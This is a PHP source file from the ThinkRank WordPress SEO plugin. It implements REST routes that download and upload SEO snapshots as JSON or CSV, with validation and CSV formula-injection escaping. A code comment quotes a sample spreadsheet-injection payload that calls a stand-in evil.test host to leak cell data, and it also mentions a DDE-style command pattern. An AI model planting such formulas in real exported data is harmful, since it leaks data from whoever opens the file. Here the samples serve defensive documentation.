PluginProbe
ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO / 2.12.0
ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO v2.12.0
2.12.0 2.11.0 2.10.0 2.9.0 2.8.0 2.7.0 2.6.0 2.5.0 2.4.0 2.3.0 2.2.0 2.1.1 2.1.0 2.0.2 2.0.1 2.0.0 1.32.0 1.31.0 1.30.0 1.29.0 1.28.0 1.27.0 1.26.0 1.25.0 trunk All 53 releases
thinkrank / includes / admin / importers / class-export-controller.php

class-export-controller.php in ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO 2.12.0, at includes/admin/importers/class-export-controller.php

728 lines 28.0 KB
No matching file
Up and down to move Enter to open Esc to close
Raw Download Zip
1 <?php
2
3 /**
4 * Export Controller
5 *
6 * REST endpoints that move a ThinkRank snapshot in and out of the site as a
7 * single portable file.
8 *
9 * Snapshots themselves live in wp_options (Snapshot_Store), which is fine for a
10 * migration that starts and ends on one site but is not something a user can
11 * carry anywhere. These two routes are the bridge: `download` serialises a
12 * completed snapshot into one file, `upload` puts that file back into
13 * Snapshot_Store so the existing /import/migrate loop can drain it — the
14 * restore itself needs no new transport.
15 *
16 * @package ThinkRank\Admin\Importers
17 * @since 2.2.0
18 */
19
20 declare(strict_types=1);
21
22 namespace ThinkRank\Admin\Importers;
23
24 if (!defined('ABSPATH')) {
25 exit;
26 }
27
28 /**
29 * Export Controller Class
30 *
31 * @since 2.2.0
32 */
33 class Export_Controller extends \WP_REST_Controller {
34
35 /**
36 * @var string
37 */
38 protected $namespace = 'thinkrank/v1';
39
40 /**
41 * @var string
42 */
43 protected $rest_base = 'export';
44
45 /**
46 * Envelope marker every ThinkRank export file carries.
47 */
48 public const FILE_FORMAT = 'thinkrank-export';
49
50 /**
51 * Envelope version this build writes, and the highest it can read.
52 *
53 * Bump on a BREAKING change to the envelope or record shape. A file
54 * declaring a higher version is refused rather than partially applied: a
55 * half-restored site is worse than a clear "upgrade first".
56 */
57 public const SCHEMA_VERSION = 1;
58
59 /**
60 * Records per snapshot chunk, matching Abstract_Plugin_Exporter::$chunk_size
61 * so an uploaded file paginates the same way a locally-produced snapshot does.
62 */
63 private const CHUNK_SIZE = 100;
64
65
66 /**
67 * CSV columns for the human-readable post meta view.
68 *
69 * @var array<string,string> Column heading => meta key ('' for computed).
70 */
71 private const CSV_COLUMNS = [
72 'post_id' => '',
73 'post_title' => '',
74 'permalink' => '',
75 'seo_title' => '_thinkrank_seo_title',
76 'meta_description' => '_thinkrank_meta_description',
77 'focus_keyword' => '_thinkrank_focus_keyword',
78 'canonical_url' => '_thinkrank_canonical_url',
79 'robots_meta' => '_thinkrank_robots_meta',
80 'og_title' => '_thinkrank_og_title',
81 'og_description' => '_thinkrank_og_description',
82 'og_image' => '_thinkrank_og_image',
83 'twitter_title' => '_thinkrank_twitter_title',
84 'twitter_description' => '_thinkrank_twitter_description',
85 'twitter_image' => '_thinkrank_twitter_image',
86 'schema_type' => '_thinkrank_selected_schema_type',
87 ];
88
89 /**
90 * Register REST routes
91 *
92 * @return void
93 */
94 public function register_routes(): void {
95 register_rest_route($this->namespace, '/' . $this->rest_base . '/download', [
96 [
97 'methods' => \WP_REST_Server::READABLE,
98 'callback' => [$this, 'download'],
99 'permission_callback' => [$this, 'check_permissions'],
100 'args' => [
101 'format' => [
102 'required' => false,
103 'type' => 'string',
104 'enum' => ['json', 'csv'],
105 'default' => 'json',
106 'sanitize_callback' => 'sanitize_text_field',
107 ],
108 // The snapshot has served its purpose once the file is in
109 // the user's hands, and Snapshot_Store has no retention
110 // policy — a large site leaves hundreds of option rows
111 // behind otherwise.
112 'cleanup' => [
113 'required' => false,
114 'type' => 'boolean',
115 'default' => true,
116 ],
117 ],
118 ],
119 ]);
120
121 register_rest_route($this->namespace, '/' . $this->rest_base . '/upload', [
122 [
123 'methods' => \WP_REST_Server::CREATABLE,
124 'callback' => [$this, 'upload'],
125 'permission_callback' => [$this, 'check_permissions'],
126 ],
127 ]);
128 }
129
130 /**
131 * Permission check — manage_options required
132 *
133 * @return bool
134 */
135 public function check_permissions(): bool {
136 return current_user_can('manage_options');
137 }
138
139 /**
140 * GET /export/download — send a completed snapshot as one file.
141 *
142 * The browser reaches this as a plain navigation rather than an apiFetch
143 * call, so cookie auth needs the nonce in the query string (`_wpnonce`),
144 * which the REST server accepts alongside the X-WP-Nonce header.
145 *
146 * @param \WP_REST_Request $request Request object
147 * @return \WP_REST_Response|\WP_Error
148 */
149 public function download(\WP_REST_Request $request) {
150 $manifest = Snapshot_Store::get_manifest(Thinkrank_Exporter::SLUG);
151
152 if (!$manifest || ($manifest['status'] ?? '') !== 'complete') {
153 return new \WP_Error(
154 'thinkrank_export_not_ready',
155 __('No completed ThinkRank export is available. Run the export first.', 'thinkrank'),
156 ['status' => 404]
157 );
158 }
159
160 $format = (string) $request->get_param('format');
161 $filename = $this->build_filename($format);
162
163 // WordPress serialises REST responses as JSON. Taking over
164 // rest_pre_serve_request is the documented way to send something else,
165 // and it keeps the route inside the REST permission/nonce plumbing
166 // instead of bolting the download onto admin-post.php.
167 add_filter(
168 'rest_pre_serve_request',
169 function (bool $served, $result, $req, $server) use ($manifest, $format, $filename, $request): bool {
170 // Another route's response passing through the same filter.
171 if ($req !== $request) {
172 return $served;
173 }
174
175 $this->send_download_headers($format, $filename);
176
177 if ($format === 'csv') {
178 $this->stream_csv($manifest);
179 } else {
180 $this->stream_json($manifest);
181 }
182
183 if ((bool) $request->get_param('cleanup')) {
184 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
185 (new Import_Detector())->clear_cache();
186 }
187
188 return true;
189 },
190 10,
191 4
192 );
193
194 return new \WP_REST_Response(null, 200);
195 }
196
197 /**
198 * POST /export/upload — load an export file back into Snapshot_Store.
199 *
200 * @param \WP_REST_Request $request Request object
201 * @return \WP_REST_Response|\WP_Error
202 */
203 public function upload(\WP_REST_Request $request) {
204 $files = $request->get_file_params();
205 $file = $files['file'] ?? null;
206
207 if (!is_array($file) || !isset($file['tmp_name'])) {
208 return new \WP_Error(
209 'thinkrank_upload_missing_file',
210 __('No file was uploaded. Attach the export file as the "file" field.', 'thinkrank'),
211 ['status' => 400]
212 );
213 }
214
215 if (isset($file['error']) && (int) $file['error'] !== UPLOAD_ERR_OK) {
216 return new \WP_Error(
217 'thinkrank_upload_failed',
218 __('The file could not be uploaded. It may be larger than this server allows.', 'thinkrank'),
219 ['status' => 400]
220 );
221 }
222
223 // Checked before reading so an oversized file costs a stat, not memory.
224 // The size comes from the upload params; falling back to a stat only
225 // matters for a caller that assembled them by hand.
226 //
227 // The ceiling is the server's own upload limit rather than a number of
228 // ours — the same bound every WordPress importer works within. A lower
229 // invented limit would reject files the server would happily have
230 // taken, and wp_max_upload_size() is min(upload_max_filesize,
231 // post_max_size), so the message can name the setting that has to
232 // change.
233 $max_bytes = $this->get_max_upload_bytes();
234 $size = isset($file['size'])
235 ? (int) $file['size']
236 : (int) (is_readable($file['tmp_name']) ? filesize($file['tmp_name']) : 0);
237 if ($max_bytes > 0 && $size > $max_bytes) {
238 return new \WP_Error(
239 'thinkrank_upload_too_large',
240 sprintf(
241 /* translators: %s: maximum upload size this server accepts, e.g. "64 MB". */
242 __('The export file is larger than the %s this server accepts. Raise the PHP upload_max_filesize and post_max_size limits, or export fewer data types at a time.', 'thinkrank'),
243 size_format($max_bytes)
244 ),
245 ['status' => 400]
246 );
247 }
248
249 // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- reading an uploaded temp file, not a remote resource.
250 $raw = file_get_contents($file['tmp_name']);
251 if ($raw === false || $raw === '') {
252 return new \WP_Error(
253 'thinkrank_upload_unreadable',
254 __('The export file could not be read.', 'thinkrank'),
255 ['status' => 400]
256 );
257 }
258
259 $payload = json_decode($raw, true);
260 unset($raw);
261
262 $validation = $this->validate_payload($payload);
263 if (is_wp_error($validation)) {
264 return $validation;
265 }
266
267 $stored = $this->store_payload($payload);
268 if (is_wp_error($stored)) {
269 return $stored;
270 }
271
272 return new \WP_REST_Response($stored, 200);
273 }
274
275 /**
276 * The largest upload this server accepts, in bytes.
277 *
278 * @return int Bytes, or 0 when the limit cannot be determined.
279 */
280 private function get_max_upload_bytes(): int {
281 if (!function_exists('wp_max_upload_size')) {
282 return 0;
283 }
284
285 return (int) wp_max_upload_size();
286 }
287
288 /**
289 * Validate an uploaded payload's envelope.
290 *
291 * @param mixed $payload Decoded file contents
292 * @return true|\WP_Error
293 */
294 private function validate_payload($payload) {
295 if (!is_array($payload)) {
296 return new \WP_Error(
297 'thinkrank_upload_invalid_json',
298 __('The file is not valid JSON. Restore expects the .json export, not the CSV view.', 'thinkrank'),
299 ['status' => 400]
300 );
301 }
302
303 if (($payload['format'] ?? '') !== self::FILE_FORMAT) {
304 return new \WP_Error(
305 'thinkrank_upload_wrong_format',
306 __('This is not a ThinkRank export file.', 'thinkrank'),
307 ['status' => 400]
308 );
309 }
310
311 $version = isset($payload['schema_version']) ? (int) $payload['schema_version'] : 0;
312 if ($version < 1 || $version > self::SCHEMA_VERSION) {
313 return new \WP_Error(
314 'thinkrank_upload_unsupported_version',
315 sprintf(
316 /* translators: 1: file's schema version, 2: highest supported version. */
317 __('This export file uses format version %1$d, but this version of ThinkRank only reads up to version %2$d. Update ThinkRank and try again.', 'thinkrank'),
318 $version,
319 self::SCHEMA_VERSION
320 ),
321 ['status' => 400]
322 );
323 }
324
325 // An empty `data` object is rejected rather than accepted as a no-op
326 // snapshot: telling the user the file is "ready to restore" when it
327 // carries nothing reads as success and restores nothing.
328 if (!isset($payload['data']) || !is_array($payload['data']) || empty($payload['data'])) {
329 return new \WP_Error(
330 'thinkrank_upload_no_data',
331 __('The export file contains no data.', 'thinkrank'),
332 ['status' => 400]
333 );
334 }
335
336 return true;
337 }
338
339 /**
340 * Write a validated payload into Snapshot_Store as a complete snapshot.
341 *
342 * @param array $payload Validated payload
343 * @return array|\WP_Error Response body, or an error when nothing was stored
344 */
345 private function store_payload(array $payload) {
346 // Clear first. Writing over a previous snapshot leaves any chunk pages
347 // the new file does not reach — a smaller export after a larger one
348 // would otherwise restore the tail of the old data too.
349 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
350
351 $manifest = [
352 'plugin' => Thinkrank_Exporter::SLUG,
353 'plugin_name' => 'ThinkRank',
354 'exported_at' => (string) ($payload['exported_at'] ?? gmdate('c')),
355 'version' => '1.0',
356 'types' => [],
357 'status' => 'complete',
358 'last_migrated' => null,
359 'migration_version' => null,
360 // Provenance, so the UI can warn when a file came from elsewhere.
361 'source_site_url' => (string) ($payload['site_url'] ?? ''),
362 'source_version' => (string) ($payload['plugin_version'] ?? ''),
363 'schema_version' => (int) $payload['schema_version'],
364 ];
365
366 foreach ($this->payload_types($payload) as $type => $data_key) {
367 // $type is the sanitised slug the chunks are stored under; $data_key
368 // is the key it came from in the file. Reading with the sanitised
369 // name would miss every type whose name sanitising changed, and
370 // drop its records while still reporting success.
371 $records = $payload['data'][$data_key] ?? null;
372 if (!is_array($records) || empty($records)) {
373 continue;
374 }
375
376 // array_values so a JSON object with numeric string keys still
377 // chunks as a list.
378 $pages = array_chunk(array_values($records), self::CHUNK_SIZE);
379 foreach ($pages as $index => $page_records) {
380 Snapshot_Store::write_chunk(Thinkrank_Exporter::SLUG, $type, $index + 1, $page_records);
381 }
382
383 $manifest['types'][$type] = [
384 'total_records' => count($records),
385 'total_chunks' => count($pages),
386 ];
387 }
388
389 // Nothing landed. The envelope validated, so the file looked like ours,
390 // but every type in it was empty or unreadable — saying "ready to
391 // restore" here would read as success and restore nothing, which is the
392 // same failure the empty-`data` check above exists to prevent.
393 if (empty($manifest['types'])) {
394 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
395
396 return new \WP_Error(
397 'thinkrank_upload_no_records',
398 __('The export file carries no records this version can read. It may have been produced by a newer ThinkRank, or edited by hand.', 'thinkrank'),
399 ['status' => 400]
400 );
401 }
402
403 Snapshot_Store::write_manifest(Thinkrank_Exporter::SLUG, $manifest);
404 (new Import_Detector())->clear_cache();
405
406 return [
407 'status' => 'complete',
408 'message' => __('Export file loaded. Ready to restore.', 'thinkrank'),
409 'manifest' => $manifest,
410 ];
411 }
412
413 /**
414 * Types to store from an uploaded file.
415 *
416 * Everything the file carries, not just what is registered here. A file
417 * exported on a Pro site and uploaded on a free one would otherwise lose
418 * Pro's records at the door — and the restore side deliberately leaves
419 * records it has no handler for sitting in the snapshot, so that a later
420 * Pro activation can drain the same file. Dropping them here would make
421 * that promise a lie.
422 *
423 * Registered types come first so the restore runs in the usual order.
424 *
425 * @param array $payload Validated payload
426 * @return array<string,string> Sanitised type slug => the key it has in the file
427 */
428 private function payload_types(array $payload): array {
429 // The slug becomes an option name via Snapshot_Store, so a hand-edited
430 // file must not be able to steer where the chunks land. The original key
431 // is carried alongside it because that is what the records are filed
432 // under in `data` — sanitising is for the destination, not the lookup.
433 //
434 // sanitize_key() bounds the alphabet but not the length, and an
435 // over-long slug makes a chunk key MySQL truncates on write and cannot
436 // find on read: from the next request on, the type counts records that
437 // read back as nothing. Keeping such a type would only preserve a
438 // promise the storage cannot honour, so it is dropped at the door.
439 $max_slug = Snapshot_Store::max_type_length(Thinkrank_Exporter::SLUG);
440 $present = [];
441 foreach (array_keys((array) $payload['data']) as $key) {
442 $slug = sanitize_key((string) $key);
443 // First one wins, so two keys that sanitise alike cannot have the
444 // second silently overwrite the first's chunks.
445 if ($slug !== '' && strlen($slug) <= $max_slug && !isset($present[$slug])) {
446 $present[$slug] = (string) $key;
447 }
448 }
449
450 $ordered = [];
451 foreach (Thinkrank_Exporter::get_exportable_types() as $type) {
452 if (isset($present[$type])) {
453 $ordered[$type] = $present[$type];
454 unset($present[$type]);
455 }
456 }
457
458 // Union rather than array_merge: these keys are type slugs, and
459 // array_merge would renumber any that look like integers.
460 return $ordered + $present;
461 }
462
463 /**
464 * Stream the snapshot as one JSON document.
465 *
466 * Written piece by piece rather than assembled into an array and encoded in
467 * one go: on a large site the whole snapshot does not need to exist in
468 * memory at once, and only a chunk does.
469 *
470 * @param array $manifest Snapshot manifest
471 * @return void
472 */
473 private function stream_json(array $manifest): void {
474 $envelope = $this->build_envelope($manifest);
475
476 // Encode the envelope, then splice the streamed data in where the
477 // placeholder sits, so the header fields stay properly escaped.
478 $header = wp_json_encode($envelope);
479 // Drop the closing brace; the data object and the brace are appended below.
480 echo substr((string) $header, 0, -1); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON document, not markup.
481 echo ',"data":{'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
482
483 $first_type = true;
484 foreach (array_keys($manifest['types'] ?? []) as $type) {
485 if (!$this->type_has_records($manifest, (string) $type)) {
486 continue;
487 }
488
489 echo $first_type ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
490 echo wp_json_encode((string) $type) . ':['; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
491 $first_type = false;
492
493 $first_record = true;
494 foreach ($this->read_records($manifest, (string) $type) as $record) {
495 echo $first_record ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
496 echo (string) wp_json_encode($record); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
497 $first_record = false;
498 }
499
500 echo ']'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
501 }
502
503 echo '}}'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
504 }
505
506 /**
507 * Stream the post meta as CSV.
508 *
509 * A readable view of the data, not a restore format — restore is JSON only.
510 * That is the point of it: it is what a user takes to a spreadsheet, or to
511 * another plugin's importer, and it is why ThinkRank does not need to own a
512 * mapping into anyone else's meta keys.
513 *
514 * @param array $manifest Snapshot manifest
515 * @return void
516 */
517 private function stream_csv(array $manifest): void {
518 $handle = fopen('php://output', 'w');
519 if ($handle === false) {
520 return;
521 }
522
523 fputcsv($handle, array_keys(self::CSV_COLUMNS));
524
525 foreach ($this->read_records($manifest, 'postmeta') as $record) {
526 $post_id = (int) ($record['object_id'] ?? 0);
527 $meta = (array) ($record['data'] ?? []);
528 $row = [];
529
530 foreach (self::CSV_COLUMNS as $column => $meta_key) {
531 if ($column === 'post_id') {
532 $row[] = $post_id;
533 continue;
534 }
535 if ($column === 'post_title') {
536 $row[] = $post_id ? (string) get_the_title($post_id) : '';
537 continue;
538 }
539 if ($column === 'permalink') {
540 $row[] = $post_id ? (string) get_permalink($post_id) : '';
541 continue;
542 }
543
544 $row[] = $this->stringify_for_csv($meta[$meta_key] ?? '');
545 }
546
547 // Escaped at the point of writing so every column is covered — the
548 // computed ones (post title, permalink) carry user input too.
549 fputcsv($handle, array_map([$this, 'escape_csv_cell'], $row));
550 }
551
552 fclose($handle); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- php://output stream, not a filesystem path; WP_Filesystem has no equivalent.
553 }
554
555 /**
556 * Yield every record of a type, one chunk at a time.
557 *
558 * @param array $manifest Snapshot manifest
559 * @param string $type Data type
560 * @return \Generator
561 */
562 private function read_records(array $manifest, string $type): \Generator {
563 $total_chunks = (int) ($manifest['types'][$type]['total_chunks'] ?? 0);
564
565 for ($page = 1; $page <= $total_chunks; $page++) {
566 $chunk = Snapshot_Store::read_chunk(Thinkrank_Exporter::SLUG, $type, $page);
567 if (empty($chunk)) {
568 continue;
569 }
570
571 foreach ($chunk as $record) {
572 yield $record;
573 }
574 }
575 }
576
577 /**
578 * Whether a type belongs in the file at all.
579 *
580 * The snapshot manifest records a chunk page for a type even when the page
581 * held no records (update_manifest() keys total_chunks off the page number,
582 * not the count), so an untouched type shows up as
583 * `total_records: 0, total_chunks: 1`. Writing that into the file would
584 * advertise data the file does not contain.
585 *
586 * The question is what the *snapshot* holds, not what this build can
587 * produce. Filtering on get_exportable_types() here conflated the two and
588 * broke the guarantee payload_types() makes on the way in: a file exported
589 * with Pro active and uploaded to a free build keeps its Pro records so a
590 * later Pro activation can drain the same snapshot — and then re-downloading
591 * it on that free build stripped exactly those records from both `types` and
592 * `data` (#589). A fresh export cannot smuggle a type in this way: the run
593 * starts from an empty slot (the `reset` flag on the first chunk) and the
594 * manifest only ever gains the types that build actually exported.
595 *
596 * @since 2.12.0 Tests the stored payload rather than the running build's
597 * exportable types.
598 *
599 * @param array $manifest Snapshot manifest
600 * @param string $type Data type
601 * @return bool
602 */
603 private function type_has_records(array $manifest, string $type): bool {
604 return (int) ($manifest['types'][$type]['total_records'] ?? 0) > 0;
605 }
606
607 /**
608 * Build the file envelope (everything but `data`).
609 *
610 * @param array $manifest Snapshot manifest
611 * @return array
612 */
613 private function build_envelope(array $manifest): array {
614 $types = [];
615 foreach ((array) ($manifest['types'] ?? []) as $type => $info) {
616 if (!$this->type_has_records($manifest, (string) $type)) {
617 continue;
618 }
619
620 $types[$type] = [
621 'total_records' => (int) ($info['total_records'] ?? 0),
622 'total_chunks' => (int) ($info['total_chunks'] ?? 0),
623 ];
624 }
625
626 return [
627 'format' => self::FILE_FORMAT,
628 'schema_version' => self::SCHEMA_VERSION,
629 'plugin_version' => defined('THINKRANK_VERSION') ? THINKRANK_VERSION : '',
630 'site_url' => home_url(),
631 'exported_at' => (string) ($manifest['exported_at'] ?? gmdate('c')),
632 'types' => $types,
633 ];
634 }
635
636 /**
637 * Neutralise a spreadsheet formula in a CSV cell.
638 *
639 * Excel, LibreOffice and Sheets treat a cell opening with `=`, `+`, `-` or
640 * `@` as a formula, so a post whose SEO title is
641 * `=HYPERLINK("http://evil.test?x="&A1,"click")` runs on open. The values
642 * here are not the exporting admin's own: SEO titles and post titles are
643 * editable by contributors and editors, and the admin is the one who
644 * downloads the file — so the cell crosses a privilege boundary.
645 *
646 * Leading tab and carriage return are included because a spreadsheet strips
647 * them and then reads the character underneath as the first one.
648 *
649 * A leading apostrophe is the standard neutraliser: spreadsheets read the
650 * cell as text and do not display the quote.
651 *
652 * A plain number is let through: `-5` opens with a trigger character but is
653 * no formula, and quoting it would land the value in the sheet as text.
654 * Nothing in CSV_COLUMNS is numeric today, so this only keeps a future
655 * column honest — `-5+cmd|...` is not numeric and is still escaped.
656 *
657 * @param mixed $value Cell value
658 * @return string
659 */
660 private function escape_csv_cell($value): string {
661 $value = (string) $value;
662
663 if ($value === '' || is_numeric($value)) {
664 return $value;
665 }
666
667 return in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true)
668 ? "'" . $value
669 : $value;
670 }
671
672 /**
673 * Flatten a meta value into a single CSV cell.
674 *
675 * @param mixed $value Meta value
676 * @return string
677 */
678 private function stringify_for_csv($value): string {
679 if (is_string($value)) {
680 return $value;
681 }
682
683 if (is_scalar($value)) {
684 return (string) $value;
685 }
686
687 if ($value === null) {
688 return '';
689 }
690
691 return (string) wp_json_encode($value);
692 }
693
694 /**
695 * Build the download filename.
696 *
697 * @param string $format File format
698 * @return string
699 */
700 private function build_filename(string $format): string {
701 $host = wp_parse_url(home_url(), PHP_URL_HOST);
702 $host = sanitize_file_name((string) ($host ?: 'site'));
703
704 return sprintf('thinkrank-export-%s-%s.%s', $host, gmdate('Y-m-d'), $format === 'csv' ? 'csv' : 'json');
705 }
706
707 /**
708 * Send the file download headers.
709 *
710 * @param string $format File format
711 * @param string $filename Download filename
712 * @return void
713 */
714 private function send_download_headers(string $format, string $filename): void {
715 if (headers_sent()) {
716 return;
717 }
718
719 header('Content-Type: ' . ($format === 'csv' ? 'text/csv; charset=utf-8' : 'application/json; charset=utf-8'));
720 header('Content-Disposition: attachment; filename="' . $filename . '"');
721 // The payload can contain every SEO setting on the site; it must not sit
722 // in a proxy or browser cache.
723 header('Cache-Control: no-store, no-cache, must-revalidate');
724 header('Pragma: no-cache');
725 header('X-Content-Type-Options: nosniff');
726 }
727 }
728